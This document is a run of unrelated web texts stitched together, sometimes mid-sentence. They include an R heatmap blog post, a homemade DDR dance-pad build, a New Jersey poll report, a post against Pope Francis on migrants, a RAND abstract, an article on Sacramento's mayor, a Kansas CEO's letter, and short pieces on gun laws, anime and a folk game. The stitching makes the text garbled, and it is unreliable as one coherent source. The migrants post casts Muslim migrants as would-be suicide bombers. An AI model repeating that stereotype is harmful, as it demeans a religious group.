Thanks to Kasper H. for that quote. I think it is a perfect fit for today’s culture of academic put down as academic contribution. One perfect example is the explosion of hate against the quilt plot. A quilt plot is a heatmap with several parameters selected in advance; that’s it. This simplification of R’s heatmap function appeared in the journal PLoS One. They say (though not up front and not clearly enough for my personal taste) that they know it is just a heatmap.
Over the course of the next several weeks quilt plots went viral. Here are a few example tweets. It was also](http://liorpachter.wordpress.com/2014/01/19/why-do-you-look-at-the-speck-in-your-sisters-quilt-plot-and-pay-no-attention-to-the-plank-in-your-own-heat-map/) on people’s blogs and even in the scientist. So I did an experiment. I built a table of frequencies in R like this and applied the heatmap function in R, then the quilt.plot function in fields, then the function written by the authors of the paper with as minimal tweeking as possible.
set.seed(12345) library(fields) x = matrix(rbinom(25,size=4,prob=0.5),nrow=5) pt = prop.table(x) heatmap(pt) quilt.plot(x=rep(1:5,5),y=rep(1:5,5),z=pt) quilt(pt,1:5,1:5,zlabel="Proportion")
Here are the results:
heatmap
quilt.plot
quilt
It is clear that out of the box and with no tinkering, the new plot makes something nicer/more interpretable. The columns/rows are where I expect and the scale is there and nicely labeled. Everyone who has ever made heatmaps in R has some bit of code that looks like this:
image(t(bdat)[,nrow(bdat):1],col=colsb(9),breaks=quantile(as.vector(as.matrix(dat)),probs=seq(0,1,length=10)),xaxt="n",yaxt="n",xlab="",ylab="")
To hack together a heatmap in R that looks like you expect. It is a total pain. Obviously the quilt plot paper has a few flaws:
It tries to introduce the quilt plot as a new idea. It doesn’t just come out and say it is a hack of the heatmap function, but tries to dance around it. It produces code, but only as images in word files. I had to retype the code to make my plot.
That being said here are a couple of other true things about the paper:
The code works if you type it out and apply it. They produced code. The paper is open access. The paper is correct technically. The hack is useful for users with few R skills.
So why exactly isn’t it a paper? It smacks of academic elitism to claim that this isn’t good enough because it isn’t a “new idea”. Not every paper discovers radium. Some papers are better than others and that is ok. I think the quilt plot being published isn’t a problem, maybe I don’t like the way it is written exactly, but they do acknowledge the heat map, they do produce correct, relevant code, and it does solve a problem people actually have. That is better than a lot of papers that appear in more prestigious journals. Arsenic life anyone?
I think it is useful to have a forum where people can post correct, useful, but not necessarily ground breaking results and get credit for them, even if the credit is modest. Otherwise we might miss out on useful bits of code. Frank Harrell has a bunch of functions that tons of people use but he doesn’t get citations, you probably have heard of the Hmisc package if you use R.
But did you know Karl Broman has a bunch of really useful functions in his personal R package, qqline2 is great. I know Rafa has a bunch of functions he has never published because they seem “too trivial” but I use them all the time. Every scientist who touches code has a personal library like this. I’m not saying the quilt plot is in that category. But I am saying that it is stupid not to have a public forum for making these functions available to other scientists. But that won’t happen if the “quilt plot backlash” is what people see when they try to get published credit for simple code that solves real problems.
Hacks like the quilt plot can help people who aren’t comfortable with R write reproducible scripts without having to figure out every plotting parameter. Keeping in mind that the vast majority of data analysis is not done by statisticians, it seems like these little hacks are an important part of science. If you believe in figshare, github, open science, and shareable code, you shouldn’t be making fun of the quilt plotters.
Marie Curie says so.
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DisqusSomething like ten years or so ago, I built my own hardpad for use on Dance Dance Revolution and Stepmania. Most of the pads that are easily bought are “soft pads”. These vary in quality, I have a couple of pads that are pretty light weight and plastic I used ages ago. These pads tend to get damaged pretty easily, especially when wearing shoes, and slide all over the place when playing. When i used mine in college I actually taped it to the underside of the rug in the dorm and taped out the grid of squares on the surface, so I could play using my shoes. I’m sure the people living below me loooove that. Probably as much as I loved the people above me who played dice constantly. Some more pricey are made of a thicker though still pliable rubbery material. These mats slide around less due to the grippy nature of the material, but they can get worn out and damaged by the rough beating of shoes.
The ideal pad is a hard pad. These can run hundreds of dollars on-line. They also tend to be large and bulky and heavy. Shortly after i had finished in college I decided to employ me newly acquired Engineering design skills to build my own Hard Pad. The electronics part was easy. I went to the local used game store and asked for the cheapest used PS2 controller they had in stock. The guy behind the counter actually asked if I was planning to build a DDR pad with it, which was funny since I was.
The pad itself was a bit trickier. I’d studied several design ideas on-line that others has built. I wanted something that was less bulky than most of the pads I’d seen. I also wanted to keep costs down somewhat, which meant using a little material as I could and not having to invest in a bunch of expensive triggers to wire into everything. The trigger is the key component of course, since it registers the steps when playing. The dead squares are all just plywood covered in sheet metal.
The sheet metal is also what I ended up using to build the triggers for the step squares. When you press a key on a video game controller, all that happens is that an electrically conductive pad is flattened and shorts the connection between two copper pads on a PCB board. When the electrical short is made, current can flow which causes some chip somewhere to register the button press. For my step pads, I simply enlarged this process by attaching plates of sheet metal tot he base and to the bottom of each step pad. To give the pads some cushion and bounce, I placed strips of weather stripping bought at the hardware store between the base and the pad. Stepping on the pad creates more than enough weight to overpower the weather stripping causing the two sheet metal pads to connect and trigger, stepping off allows the weather stripping to flex back up pushing the pad back to a neutral, unconnected position. I took some CAT 5 cable and soldered it to the sheet metal contacts and the appropriate parts inside the PS2 controller to replicate the button press action inside the controller.
Everything else was cutting wood, attaching corner brackets and attaching sheet metal. Here are some old photos of the process.
The general construction was sound, but it had a few issues that I never really got around to fixing until more recently.
In the original design, I soldered the connections for the step pads tot he controller’s D-pad. Mostly because the solder points were larger and easier to solder to. This had some unintended side effects that made the game unplayable at any higher difficulty level. By design, the controller never expects opposite D-Pad buttons to be depressed at the same time. That is, it doesn’t expect the player to press left and right at once, the D-Pad generally controls movement in most games, why would you need to press opposite ways at once. Dance Dance Revolution has “jumps” in more difficult stages, these are sequences where two arrows have to be matched at the same time, as in “jumped on”. Since the D-pad doesn’t register left+right or up+down, these jumps would never register and were always considered a miss. Kind of game play breaking in the case of DDR.
I also wanted to add a box to the set up, to replicate the buttons on the front of a real DDR machine used to select songs and options. Not something important, but it would add to the effect, and if I ever got really ambitious, I could build a whole cabinet someday.
The other major issue, when I built the original design, I didn’t really do any real management of the wires between the controller and the pad. They kind of strung around on the sides, they were all too long, and the controller itself was permanently attached to the pad, making moving and storing tricky. I wanted to make the controller bits, detachable.
I’ve since solved all of these problems with some improvements, all somewhat related. First problem was the triggers not working for jumps. This was simple but tedious. I needed to reqire the buttons from the D-Pad to the face buttons (Triangle, Circle, Square, X). These work just fine when pressed together, lots of games have combinations where you have to press several buttons at once.
During this process, I also pitched the controller shaped housing and stuffed everything in a generic electrical project box. I soldered the 4 shoulder buttons to 4 buttons attached to the box lid, to be used to interfacing with the menus. Problem 2 solved, everything is in a nice box.
The last bit was to make the controller easily detachable. There are 4 pads, each with 2 wires, for a total of 8 wires going from the controller to the pad itself. I was already using CAT-5 cable for the wire, it had 8 wires in it, so I attached an CAT5 end on the controller piece and a CAT5 receptacle to the dance pad. Now the two were easily separable and securely attachable.
The ultimate test of course, does it all work?
I’ve run several sets of tracks using the new set up and it certainly does work. My DDR skill needs a lot of improvement to get back up where it was at my peak, but the pad itself works just fine. Which is sort of the point, because it really is a fun way to get a pretty good workout in a short period of time.Former Goldman Sachs banker and Democrat Phillip D. Murphy leads New Jersey Republican Lt. Gov. Kimberly A. Guadagno in the race to be the next governor of the Garden State with 46 percent of voters supporting him compared to her 32 percent in the Big League-Gravis poll of 611 registered voters conducted Oct. 30 through Nov. 1.
“I would expect some tightening of the race going into the last week, just because it is the nature of Republicans to come home at the end, but Murphy has been ahead for so long, it is a pretty safe bet that he beats Guadagno,” said Doug Kaplan, the managing partner of Gravis Marketing, the Florida-based firm that executed the poll. The poll carries a 4 percent of a margin of error.
The election is Nov. 7.
Kaplan said the 2017 race is the reverse of the 2013 race, when Republican Gov. Christopher J. Christie won his second term.
Trending: REVEALED: Kamala Harris’ Father Admitted She Is Descended From Slave Owners
“It is hard to remember now, but four years ago, Christie was still basking in his handling of the recovery from Super Storm Sandy and his walk on the beach with President Barack Obama,” he said.
“In this poll, only 15 percent of the voters approve of Christie’s job performance and 71 percent disapprove,” Kaplan said.
“In 2013, Christie won 60 percent of the vote in another race that was practically over as soon as it started,” he said. Christie beat Democrat Barbara Buono, who garnered 38 percent.
“The Christie win in 2013 could have been a watershed, because Christie got 20 percent of the black vote and more than half of the Hispanic vote,” he said. “Instead of building the New Jersey GOP on the foundation of his landslide, Christie ran for president and allowed the electoral loyalties in the states to revert to their old defaults.”
The survey was conducted using interactive voice response and an outline panel of cell phone users. The results were weighted to match a proprietary voter demographic model.
Crosstabs for the Oct. 30 – Nov. 1 Big League-Gravis Poll:
CROSSTABS FORMAT 1“The painful experience of these brothers and sisters reminds us of that baby Jesus, who could not find shelter, was born in a stable in Bethlehem and was later brought to Egypt to escape Herod’s threat.”
There was heightened security at the Vatican last night for Midnight Mass. Why? Aren’t Muslim migrants just like “baby Jesus, who could not find shelter”? Was the Pope afraid that the baby Jesus would scream “Allahu akbar” and blow himself up in the middle of a crowded St. Peter’s Square?
Pope Francis makes these facile and fatuous comparisons while living comfortably behind heavy guard and the Vatican walls. The people he is trying to guilt-trip into dropping all opposition to the Muslim migrant inundation are the ones who have to pay the price for his ostentatious virtue.
“Leave them; they are blind guides. And if a blind man leads a blind man, both will fall into a pit.” (Matthew 15:14)
“On the Ground The Vatican’s Nativity scene is a reminder that refugees’ struggles are like those of baby Jesus, the pope says,” by Tom Kington, Los Angeles Times, December 25, 2016 (thanks to Darcy):The security community generally believes that North Korea acquired Soviet guided ballistic missiles from Egypt in the 1980s, reverse engineered them, and has indigenously produced and deployed in North Korea perhaps 1,000 ballistic missiles of various types. This report questions this common view and seeks to better characterize the North Korean missile threat. The author compares the available data on the North Korean missile program against five hypotheses about the program's origins, sophistication, and scale, highlighting inconsistencies. The author finds that the most plausible characterization of the North Korean missile program is what he terms the "Bluff" hypothesis: The main purpose of the program is political — to create the impression of a serious missile threat and thereby gain strategic leverage, fortify the North Korean regime's domestic power, and deter other countries, particularly the Republic of Korea and the United States, from military action. The author maintains that the North Korean missile program's operational readiness seems to be secondary, and that therefore the threat posed by it has been exaggerated.
What We Would Like to Know
The research described in this report was supported by the Stanton Foundation.
This report is part of the RAND Corporation technical report series. RAND technical reports may include research findings on a specific topic that is limited in scope or intended for a narrow audience; present discussions of the methodology employed in research; provide literature reviews, survey instruments, modeling exercises, guidelines for practitioners and research professionals, and supporting documentation; or deliver preliminary findings. All RAND reports undergo rigorous peer review to ensure that they meet high standards for research quality and objectivity.
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A well-timed break for Kevin Johnson
Betty Williams’s charges came right as the News & Review was, as it has been, rightly hammering Kevin Johnson for using public resources for personal business. On July 1, apparently seeking to slow down coverage of the scandal, Johnson filed a lawsuit against the paper and its top political reporter, Cosmo Garvin, naming his own city as a co-defendant. That suit, which is still pending, seeks to prevent the release of emails from the mayor’s office related to Johnson’s self-styled “coup” against the National Conference of Black Mayors, an Atlanta-based non-profit. (Johnson is now also suing and being sued by NCBM officials.)
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Legal bullying didn’t knock the N&R or Garvin off the beat, however. Days after the suit was filed, the paper ran a cover story mocking Johnson’s tactics; several days later, it posted a story in which R.E. Graswich, a former Johnson aide, confessed that during his time with the mayor, the staff was encouraged to use private email accounts specifically to keep their messages off the city’s servers, and thereby avoid public scrutiny of their activities.
“Gmail was our bulletproof method of communication, beyond the reach of the city and the public,” Graswich said.
There was already plenty of evidence that Johnson viewed transparency as Private Enemy No. 1, but having an insider explain a key tenet of the mayor’s strategy of secret governance was a great scoop. And the Graswich bombshell came with Johnson in the middle of the worst stretch of his political career. He’d only recently fought off yet another accusation of sexual malfeasance with an underling, and at the end of June he confessed on the witness stand to having ignored a court order and deleted text messages related to the arena deal that kept the Sacramento Kings in town. Under oath, Johnson claimed that he didn’t understand that the judge’s order covered private text messages. That episode now threatens to blight the one thing about his mayoral reign that most townies agreed was a positive.
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Johnson caught a well-timed break, though, when the NAACP leveled the racism charges mere hours after the Graswich story was published. The Sacramento Bee—the town’s major daily, which has a well-deserved reputation as a very Johnson-friendly shop—ignored the Graswich story, but wrote two pieces trumpeting the racism allegations.
The News & Review released its own statement following the NAACP charges, referring to both the cover illustration above and the interior illustrations below, all by artist Hayley Doshay.
The illustrations of Mayor Kevin Johnson in SN&R’s July 9 issue depict him as sweaty and nervous while reading about his lawsuit against this paper and allegations of email misuse. These illustrations are based on an actual photo of the mayor. We refute the NAACP’s assertion that the illustrations are in any way racist, violent, or perpetuating negative stereotypes, or that our coverage of the mayor is racially biased. Such accusations are unfounded and without merit.
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Nick Miller, co-editor of the News & Review, asserts that the charges against his publication aren’t sticking.
“Ever since the lawsuit, and now this, we’re hearing, ‘Fuck KJ!’” Miller told me early last week. “It’s been near-unanimous support. People really are saying that. It’s not me saying that. People are that upset with their mayor. Now, they just don’t trust him. It’s pretty wild.”
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Mac Worthy—a local gadfly and self-proclaimed “real spokesman” for Sacramento’s black community who’s known around town for never missing a political gathering—is among those defending the newspaper. He went to the Sacramento city council meeting last Tuesday and railed against the NAACP’s actions, taking the floor (go to 2:58:45 mark) during the public comment period and projecting the News & Review’s Johnson cartoon on an overhead screen alongside a shot of the mayor that ran with a Sacramento Bee story about him improperly deleting texts.
“Which lips are larger? These lips or that lips?” Worthy asked. “So what is the issue?”
Worthy told the council he’d been at the recent NAACP chapter meeting where the issue first surfaced, and brought a copy of that meeting’s agenda to show that the News & Review matter was not scheduled to be discussed.
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“Betty Williams put this on the agenda!” he says. Asked why he took his very public stand, Worthy tells me that he was peeved, as a member of the NAACP chapter, that Williams was using the group’s resources to slander the newspaper on Johnson’s behalf. “She’s a crony,” he says.
Kevin Johnson, MC Hammer, and Carlos Santana at June’s meeting of the U.S. Conference of Mayors; photo via AP
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Berry Accius, who runs a youth group in the city, also told Miller, the N&R co-editor, to keep giving the mayor hell. Accius says he had gone to the NAACP chapter’s press conference about the caricature, and came away unimpressed by the evidence.
“It’s a farce,” Accius says. “I consider myself to be at the forefront at abolishing racism in my city, wherever I see it. I didn’t see anything racist in that drawing. I saw it and laughed. But to me, they look like they’re trying to be a shield for Kevin Johnson. This is Johnson’s cronies saying, ‘Forget about what they’re trying to report! Look at the drawing!’ It’s beyond suspect.”
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The NAACP chapter doesn’t seem particularly organized or active. The group’s web site prominently features an invitation to the NAACP’s national convention in Detroit from 2007 and information on a summer jobs program from 2010. Accius says that over the years chapter leaders have ignored his attempts to get them involved in local protests, like rallies against a gun shop in the Elk Grove neighborhood that hung a confederate flag outside the store earlier this summer. So why does Accius think the group roused itself to action over a cartoon?
“Because they’re the mayor’s cronies,” he says.
A friend of the mayor
Betty Williams, who is a volunteer at the NAACP chapter, was Kevin Johnson’s hand-picked candidate to run for the city council in 2012. Her campaign manager was Andie Corso, deputy director of Stand Up, a pro-charter school non-profit group founded by Johnson. (The News & Review reported in 2010 that Corso was provided office space in City Hall while working for the mayor’s non-governmental non-profit.) R.E. Graswich tells me that he, too, was tasked to the Williams campaign while he worked for the mayor. Williams’s platform mainly involved promoting Johnson’s strong-mayor initiative and a publicly-funded Kings arena proposal Johnson supported at that time. The mayor made appearances for her and put up an endorsement for Williams on his own campaign website, and Garvin reported during the 2012 council campaign that Williams had received a $25,000 donation from the Better Sacramento Political Action Committee, described as “a group of businessmen and developers who formed to support strong-mayor and other Johnson initiatives.” The cover photo of Williams’s Facebook page is a shot of her standing next to Johnson, taken from a fundraiser for Williams during the council race. Williams lost despite the mayor’s support, but Johnson has appointed her to various task forces.
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Williams certainly seems like just the sort of friend a besieged politician might be able to rely on to create a distraction in his time of need. Strangely enough, other Johnson associates have, in the past, created precisely this sort of distraction.
After his stint with the city, during which he learned how the mayor’s staff used private email accounts to keep stuff from the public, Graswich took a job with Think Big Sacramento. That’s the non-profit that Johnson set up to lobby for a new publicly-funded arena for the Sacramento Kings. The executive director of Think Big—and the lead public relations strategist for that very successful campaign—was Chris Lehane, a crisis-management mogul who earned his reputation as a by-any-means-necessary fixer working for the Clinton administration and Al Gore’s presidential campaign. Lehane calls himself a “master of disaster.”
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In the book The Progressive’s Guide to Raising Hell, consumer activist and author Jamie Court recounts working with Lehane on a fight against a ballot measure in California that would have limited consumer class action lawsuits. The main backer of that measure was Intel. Lehane’s group became aware of a print advertisement that Intel had used overseas showing a white man standing amidst a group of kneeling black sprinters. Lehane, Court recounts, produced a spot for the group to run on cable stations in Silicon Valley as part of a campaign featuring the slogan “Is Intel Racist Inside?” Lehane’s commercial showed the company’s track advertisement as a voiceover intoned, “Intel had been using advertising that has been called offensive, even racist.” Lehane’s group had targeted an Intel board member—former Yahoo CEO Susan Decker—as “vulnerable,” and his commercial for the campaign gave out her name and phone number and requested that viewers not in favor of racism call her up. Whether coincidence or not, Intel pulled its ballot measure the same week the commercial ran, according to Court.
Lehane remains on Johnson’s team, having rejoined Think Big last year to work on getting an MLS soccer franchise for the city. He did not return a request for comment on the mayor’s current situation made through his crisis PR firm, Fabiani & Lehane. Nor did Ben Sosenko, spokesman for the mayor’s office, respond to questions about the mayor’s involvement in and opinion of the local NAACP’s campaign against the News & Review.
What remains at stake
For all the anti-cartoon campaign’s usefulness to Kevin Johnson, it doesn’t appear to have ramified much past Sacramento city limits. Take the national NAACP. Jamiah Adams, spokesperson for the national NAACP, says that officials at the group’s D.C. headquarters are aware of the Sacramento chapter’s press release and support the effort. She also says they haven’t actually investigated the charges.
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“Nobody has looked at the cartoon,” she says.
For its part, the N&R seems to want to squeeze some lemons into lemonade. Late last week, Nick Miller put out another statement about the campaign against his newspaper. “We stand by the work of our writers and designers,” he wrote, but he also said that conversations inspired by the racism charges convinced him that the paper, whose eight newsroom staffers are all white, needs to diversify immediately. The publication, he announced, would establish a new paid internship program in its office, hoping to “inject SN&R with more voices from aspiring journalists of color.”
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Finally, two other things seem worth noting. One is that just more than a week ago, at the Association of Alternative Newsmedia’s annual awards ceremony, the News & Review’s Hayley Doshay—the artist who drew the disputed Johnson caricatures—won first place in the cover art category. Among the package of three works that got her the top prize, which was decided in April, was another caricature of Johnson, seen above. It accompanied a story lampooning his strong-mayor initiatives.
The other is what’s at stake in Johnson coverage, a reminder of which came via the N&R’s pages after the Sacramento NAACP chapter’s press release, when reader Erik Jones sent in a pep talk in the form of a letter to the editor. The paper’s reporting, it turned out, had reminded him of his own dealings with Sacramento’s mayor.
Wanted to commiserate in your recent speaking truth to K.J.’s power. I too once spoke up using my legally mandated responsibilities in dealing with one of K.J.’s many indiscretions—this time regarding his oldest known problem: keeping his hands to himself. How I was met—with threatening attorneys, categorical denials and personal attacks—feels eerily similar to what you are presently enduring. Keep the faith. I learned, in my time working alongside him, the more smoke he blows, the more you know you are close to real fire. Let him feel the burn of truth. Or least revel in a soon-to-be-coming covert attempt to pay you off!
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Jones is a former teacher for Johnson’s St. HOPE charter school. In 2007, a student in distress told him Johnson had molested her. As he was legally mandated to do, he took down the girl’s story and turned it over to the police.
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From a suspected child abuse report filed in April 2007.
No charges were ever filed in that incident, or others at the school where similar accusations were leveled against Johnson. Jones, though, quit his job, saying he was disgusted that Johnson’s fixers and St. HOPE administrators—which at the time included Johnson’s then-future wife, charter school mogul Michelle Rhee—showed no concern for the alleged victims.
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“St. HOPE sought to intimidate the student through an illegal interrogation and even had the audacity to ask me to change my story,” Jones said in his resignation letter, portions of which were included in a Congressional report detailing many of the allegations of fiscal and sexual wrongdoing made against Johnson before he became mayor.
He’s still damaged by his stint at the business end of the Johnson machine.
“How he’s been able to maintain a position of power with this behavior, well, I’ve been to therapy to wrestle with that,” Jones told me several months ago.
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“I tried to stop him once, and it almost killed me.”
Know something we should know about Kevin Johnson or anything else? Contact the author at [email protected]. Top photo via APJeff Blackwood, the CEO of Pathfinder Health innovations, released a public letter stating their intentions to move the company out of the state of Kansas. Mr. Blackwood pulled no punches in his message to Governor Brownback and Kansas conservatives:
“I can’t, in good conscience, continue to give our tax money to a government that actively works against the needs of its citizens; a state that is systematically targeting the citizens in most need, denying them critical care and reducing their cost of life as if they’re simply a tax burden that should be ignored.” – Jeff Blackwood, CEO of Pathfinder Health Innovations
Wow! In the full text of the letter, Mr. Blackwood said they re-evaluated staying in Kansas when they outgrew their current space. After consideration, they just can’t stay:
There are a lot of things that factor into this decision. For one, the company has outgrown our current space. There are no seats left, and we have new employees coming on every month. The state of Missouri is also helping us with some tax incentives, but these are minor considerations. More importantly, there’s a motivation of conscience that factors into it, too. It’s not so much that I’m moving the company to Missouri as I’m moving it away from Kansas.
Emphasis added. He went on to note the absolute failure of conservative policies that are laughably advertised as means to attract new companies to the state:
Kansas has become a test center of “trickle down” economics, espoused by economist Arthur Laffer during the Reagan years. Nowhere has there been as thorough an implementation of Laffer’s policy recommendations… and nowhere has there been as dramatic a failure of government. Under Brownback’s direction, Kansas implemented an unprecedented tax cut in 2012, eliminating taxes for LLCs and professional firms (for full disclosure, PHI is a C Corporation) and making the largest cuts in the highest tax brackets. He shifted taxes to create a heavier burden on property and sales taxes, which typically represent a larger burden on lower income brackets. Brownback declared that this tax cut would be a “shot of adrenaline” for the Kansas economy, but the reality is that the tax cuts have had the opposite effect. Kansas lags neighboring states in job growth. For 11 of the last 12 months, Kansas has dramatically missed revenue targets, falling deeper in debt and facing another round of degraded bond ratings. The worst part is that the burdens for the shortfalls rest on the shoulders of those who can least afford it – children and the developmentally disabled. One of Brownback’s first actions was to close the Lawrence office for Kansas Social & Rehabilitation Services (SRS). This agency provided services for low-income children and the developmentally disabled, and access to the Lawrence office was critical for people in that community to receive services. Their only option was to try to figure out how to get transportation to the Topeka SRS office, thirty miles away. Not an easy task. The closure of the Lawrence office was supposed to save the state $400,000 per year. At the same time, Brownback decided to pursue a personal vendetta against the Kansas Bioscience Authority, an organization created to spur the economic development of bioscience companies in Kansas. Brownback was convinced that funds were being misused, so he decided we needed to spend over $400,000 (conveniently, the same amount that could have kept the Lawrence SRS office open) on lawyers and auditors to pour over the KBA books. In the end, they found a total of $5,000 in misused funds, which the former KBA president repaid with a personal check. It all came down to priorities – pursue a personal vendetta at the expense of the disabled.
Blackwood went on to scorch Governor Brownback on state healthcare cutbacks and the ongoing destruction of previously excellent public school system that has been systemically dismantled under Republican care.
I believe that it is the responsibility of business owners and people with some voice in society should speak up against these destructive policies. And I believe it is far past the time that Sam Brownback and his cronies admit the damage they’ve caused to the people of Kansas and resign in the shame they deserve.
Thank you, Mr. Blackwood. You can read his full letter at the Pathfinder Health Innovations blog.Image courtesy of Team Cherry
Over the weekend, popular YouTube creator VideoGameDunkey, known for his funny and biting videos about games, published a 9-minute critique about games criticism. Dunkey pointed his criticism at huge websites like IGN and Kotaku, lamenting review scores, the race to be first, a disconnect between a website's voice and an individual reviewer's opinion, and more. This prompted a lengthy discussion between Austin, myself, Rob, and Danielle, before we touched upon Rob's revenge fantasies in Subterfuge and Danielle's time with Hollow Knight.
You can watch all of Dunkey's video below:
You can subscribe on iTunes, Google Play, and Stitcher. If you're using something else, this RSS link should let you add the podcast to whatever platform you'd like. Please take a moment and review the podcast, especially on iTunes. It really helps.
Interaction with you is a big part of this new podcast, so make sure to send any questions you have for us to [email protected] with the header "Questions." (Without the quotes!) We can't guarantee we'll answer all of your questions, but rest assured, we'll be taking a look at them.
Remember: we record live on our Twitch. Keep an eye on Twitter (@waypoint) on Monday and Friday morning, if you want to know when we're getting started.
Make sure to swing back to Waypoint on Friday for the next episode.Ever wonder what hens would say if they could describe their lives on egg factory farms? Wonder no more:
“For as long as I can remember, I’ve been locked in this crowded, filthy cage,” says the “hen” in the video. “Day after day, month after month, this is my entire life.”
Hens crammed into cages on egg farms barely have room to lift a wing, much less take more than a step or two in any direction. But while consumers are increasingly concerned about the way in which they’re raised, rather than being rid of cages altogether, hens are in danger of being confined to cages indefinitely. But they don’t need slightly larger cages or “enriched” cages—they need no cages.
The only way to ensure that hens escape the hell of being confined to abysmally crowded, filthy cages or huge warehouses is never to buy eggs (even so-called “free-range” eggs).
Instead of eggs, try scrambled tofu for breakfast, and use egg replacers such as mashed tofu, cornstarch, and ground flaxseeds in your baked goods.America’s neighbor to the north has asked US citizens to leave their guns at home, in the most polite, Canadian way possible.
While Canadians are known for their easy going manner, Americans are known for their gun violence.
That prompted a press release from the Canada Border Services Agency (CBSA), which urged tourists not to carry firearms when traveling to the Great White North.
this dude at the border thingy tho he's like "u got guns?" "no" "u smuggling something for a friend?" "no" "a'ight welcome to canada man" — chey ପଓ*·˚ (@arkhamslight) August 9, 2016
“It is strongly recommended that you do not carry your firearm when traveling to Canada and/or transiting through Canada to reach another US destination,” the release read.
CBSA said all guns should be declared and “necessary permits” would be required.
The hockey lovers launched a small-scale “firearms awareness campaign” as a reminder to American gun owners that “Canadian laws are different to US ones.”
And very well they should... #GunSensehttps://t.co/YNIwZ3uawo — sydney m conover (@syddid_VI24) August 23, 2016
READ MORE: UN rights chief calls for more US gun control in wake of Orlando massacre
Erich Pratt, director of “no-compromise” gun-rights lobby group Gun Owners of America, called the move a “shame to see,” according to the Toronto Star.
Pratt maintained that holders of concealed-carry permits are “the safest segment of the US population,” noting the bordering US states of Maine and Vermont have homicide rates similar to Canada, despite their more liberal gun laws.
@TomTerrificCDN It's what keeps the NRA free — Raycyst McShootFace (@MacShootFace) August 12, 2016
The announcement comes a week after two men from Texas tried to sneak guns across the border in separate incidents. Both men were fined and sent back by Canadian authorities.
Although the latest campaign is aimed at tourists, more than half of all guns used for crimes in Toronto are smuggled from the US, according to an investigation by the Toronto Star.
US filmmaker and lifetime NRA member Michael Moore highlighted the differences in the gun culture between both countries in his award-winning film “Bowling for Columbine,” which explored the circumstances around the 1999 high school massacre in Colorado where two teens gunned down students and staff, killing 12 people and injuring 21 others.
Interesting article by Michael Moore. Hey, say what you want, he's an NRA Life Member. https://t.co/2ZzLpXn6wv — Carlos A. Fernandez (@IronmanMiami) July 27, 2016
Moore discovered many Canadians don’t lock their doors and said Americans “get afraid more easily.”
Yet, we hear nothing about this attack from most media outlets. Carry, carry, carry. Protect yourself. #GunSensehttps://t.co/0BeRZXAhyY — Lawful Gun Owner (@LawfulGunOwner) August 23, 2016
The US had a total of 8,813 homicides involving firearms in 2012, the most recent year for which statistics are available, and hot spots such as Florida and Washington DC weren’t even included in the count, according to data from Statistics Canada.
Canada had just 172 that year.
While the US now has more guns than people, Canada is ranked 13th in the world for gun ownership per capita.
I think one of the biggest misconceptions about Canada is that we don't have guns. We actually have quite a few, we're just quiet about it. — Caffeinated Otter (@caff_otter) August 10, 2016
An ex-RCMP officer was charged for having way too many guns: https://t.co/DFOiD1jMmKpic.twitter.com/T5Gec0Ovg7 — VICE Canada (@vicecanada) August 12, 2016
There are nearly 10 million guns, both legal and illegal, with roughly one gun for every three Canucks, according to figures cited by gunpolicy.org.
Alan Voth, a firearms expert formerly with the Royal Canadian Mounted Police, told the Washington Post (WAPO) in 2014, after the mass shooting in Ottawa, that “Canadians have the mentality that the government will protect us – and we’re more likely to look to them for [our] safety. Americans take more responsibility for their own security.”
Similar to my experience owning guns in Canada where the emphasis is on rights AND responsibility; not just rights. https://t.co/fibl8sNJ4A — Joe Arvai (@DecisionLab) August 12, 2016
The right to bear arms is not written into Canada’s constitution, “first-time owners must... fill out a survey that asks about mental health and criminal record” and there is a “mandatory 28-day waiting period,” WAPO reported.Tip-cat, also called One-a-cat, outdoor game dating back at least to the 17th century and introduced to North America and elsewhere by English colonists. The game was widely popular in 19th-century Great Britain and in early 20th-century North America.
Although there are many varieties of the game, all involve a stick about 3 ft (1 m) long, used as a bat, and a piece of wood (the cat) about 4 in. (10 cm) long, 1 to 2 in. (2.5 to 5 cm) thick, and tapered at the ends. The cat is placed on the ground, struck at one end to propel it upward (tipping the cat), and then slammed with the stick as far as possible. In one version, the batter tries to round the bases, as in rounders, before the fielder retrieves the cat and throws it back to home base. If a batter misses the cat three times or if a fielder catches it on a fly, the batter is out. Earlier versions of the game are based on guessing the distance that the cat is hit, scoring points according to the number that comes up on a four-sided cat, and running from base to base on a large circle while the cat is being retrieved. Some authorities consider tip-cat a forerunner of rounders and cricket.Well, gigguk talked about it, so I guess I have to as well. Anime is going mainstream. Even the big guns cant help but want a little piece the pie. So with that in mind why shouldn’t we have an Anime Film festival? Well, turns out we already do! Its called the Los Angeles Anime Film Festival and its set to take place September 15th through the 17th in Los Angeles.
The Los Angeles Anime Film Festival (LA-AFF), presented by international creative company Rydgen Inc. in partnership with L.A. based film distribution company Azoland Pictures. Today announced its opening and closing night films as well as their full lineup for the LA-AFF.
Its all going to start with No Game No Life Zero, the highly anticipated prequel film to the popular anime series No Game No Life. I myself have seen this film, and its quite good. Hyper has been building since the announcement that it would come to the US during Anime Expo in July.
Then Katsuhiro Otomo’s timeless cyberpunk masterpiece, AKIRA will mark the finale of the event on September 17. AKIRA is one of those movies that despite being over 20 years old, still makes jaws drop to this day. With its timeless story of rivals, and adult themes, it was one of the first anime movies to show foreign audiences that anime was more than kids cartoons.
The LA-AFF takes place September 15- 17, 2017 and all programs will be showcased at the Regal L.A. LIVE Downtown Los Angeles. LA-AFF will screen a diverse slate of anime feature films, including recently popular hits in Japan and also classic titles that are fan favorites. The festival will also feature a full list of events in addition to the film screenings including an opening night red carpet gala and Q&A sessions with directors, voice actors, and film creators to further excite festival-goers.
This year the LA-AFF will screen one of the first Japanese animated short films created in 1917 by Junichi Kouichi called: Namakura Katana during the opening ceremony on September 15. In addition to the previously announced titles, the lineup will include the North American Premiere of King of Prism by PrettyRhythm which garnered major success among Japanese fans earning ver 7 million dollars in Japanese box offices. Also being shown are: Ghost in the Shell, Cowboy Bebop: The Movie, Love Live! The School Idol Movie, Metropolis, and, Paprika finally the most anticipated, Anohana: The Flower We Saw That Day will show in the US for the first time since Anime Expo.The Atlantic's Sommer Mathis argues that a major party cannot win again in the US without competing in the cities. Vindicated New York Times statistician Nate Silver (@fivethirtyeight) puts it even more baldly in a tweet: "If a place has sidewalks, it votes Democratic. Otherwise, it votes Republican."
And that's a problem.
Only in the US has the conservative party so totally abandoned the cities. In the UK, Canada, Australia and New Zealand, conservative parties compete for inner city seats and sometimes win there. That's because these national parties understand the need for cities to function and that this requires a government role.
